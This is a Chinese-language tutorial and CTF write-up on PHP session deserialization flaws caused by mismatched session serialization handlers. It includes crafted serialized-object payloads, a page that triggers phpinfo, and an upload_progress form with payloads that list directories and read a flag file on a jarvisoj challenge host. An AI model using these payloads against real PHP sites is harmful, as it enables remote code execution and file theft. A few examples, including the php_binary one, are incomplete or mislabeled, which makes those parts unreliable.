php Session反序列化漏洞
@
目錄PHP Session 序列化及反序列化處理器
PHP 內建了多種處理器用於存取 $_SESSION 資料時會對資料進行序列化和反序列化,常用的有以下三種,對應三種不同的處理格式:
有關session的配置
session.save_path="" --設定session的儲存路徑 session.save_handler=""--設定使用者自定義儲存函式,如果想使用PHP內建會話儲存機制之外的可以使用本函式(資料庫等方式) session.auto_start boolen--指定會話模組是否在請求開始時啟動一個會話預設為0不啟動 session.serialize_handler string--定義用來序列化/反序列化的處理器名字。預設使用php
程式碼裡面臨時設定:
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php');
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php');
session_start();
php
<?php ini_set('session.save_path','./tmp'); ini_set('session.serialize_handler','php'); session_start(); $_SESSION['test123'] = "123456"; ?> tmp.php: test123|s:6:"123456";
php_binary
<?php
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['test123'] = "123456";
?>
tmp.php
php_serialize
<?php ini_set('session.save_path','./tmp'); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['test123'] = "123456"; ?>
tmp.php: a:1:{s:7:"test123";s:6:"123456";}
session序列化與反序列化
由於以上三種序列化與反序列化處理器進行反序列化操作時的差異,所以程式設計師開發不當就可能造成安全漏洞
利用
session.auto_start=On
session.auto_start引數會在指令碼執行前會自動註冊Session會話,所以在指令碼中設定的php.ini中(序列化處理器\session)相關引數是無效的
所以需要先銷燬註冊的session,然後設定處理器,再呼叫session_start()註冊session
- index.php
<?php
//檢測是否開啟自動註冊會話
if (ini_get('session.auto_start')) {
session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
- evil.php
<?php
ini_set('session.save_path','./tmp');
session_start();
class test{
public $hi;
function __wakeup(){
phpinfo();
}
}
構造
$a = new test();
$a->hi = "hello";
echo serialize($a);
//O:4:"test":1:{s:2:"hi";s:5:"hello";}
傳入index.php?a=|O:4:"test":1:{s:2:"hi";s:5:"hello";}
再訪問evil.php
說明:
- index.php中接收引數a後將其序列化儲存在session檔案中
然後系統預設的handler為php
所以在訪問evil.php時,系統會自動用php處理器反序列化session檔案中的內容.
而且反序列化的部分為|
之後的部分即
觸發危險函式,然後執行phpinfo();
這裡存在一點,php反序列化的時候只會尋找有效部分
如:
session.auto_start=Off
這種其實和上面那個差不多
直接l3m0n師傅部落格裡面的例子:
foo1.php:
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
foo2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon{
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}
構造 index.php?a=|O:5:"lemon":1:{s:2:"hi";s:6:"lonmar";}
再訪問foo2.php
沒有$_SESSION變數賦值
php中存在一個upload_process機制,這個功能常用於在檔案上傳的過程中利用session實時返回上傳的進度
使用這個功能首先要有個前提:session.upload_progress.enabled設為On
為了方便測試,可以關閉它的自動清理session檔案的功能:session.upload_progress.cleanup = Off
通過一道題目學習:http://web.jarvisoj.com:32784/
開啟題目即可獲得原始碼:
隨便傳入引數獲得phpinfo資訊,可以檢視兩個關鍵的session配置
很顯然可以構造程式碼:
class OowoO
{
public $mdzz = payload;
}
$a = new OowoO;
echo serialize($a);
來執行任意的payload
但是沒有明顯的輸入點,
所以可以通過upload_process來輸入
基本思路就是上傳檔案並post一個引數session.upload_process.name
後端會自動將POST的這個同名變數作為鍵進行序列化然後儲存到session檔案中。下次請求就會反序列化session檔案,從中取出這個鍵
所以構造表單:
test.html
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
payload就參考別的師傅的:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
幾點說明:
- 必須有上傳一個引數,名是PHP_SESSION_UPLOAD_PROGRESS,值可以任意
- payload在filename裡面
http報文中的filename的值對應$_SESSION[‘upload_progress_laruence’][‘files’][0][‘name’]
http報文中的name的值對應
$_SESSION[‘upload_progress_laruence’][‘files’][0][‘filed_name’]
這兩處都可以實現攻擊。
通過這道題目可以很好了解 upload_process 利用方式
參考
https://blog.csdn.net/csdn583724/article/details/88735607
https://xz.aliyun.com/t/7366#toc-0
https://zhuanlan.zhihu.com/p/90879209
https://www.cnblogs.com/litlife/p/10748506.html
https://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html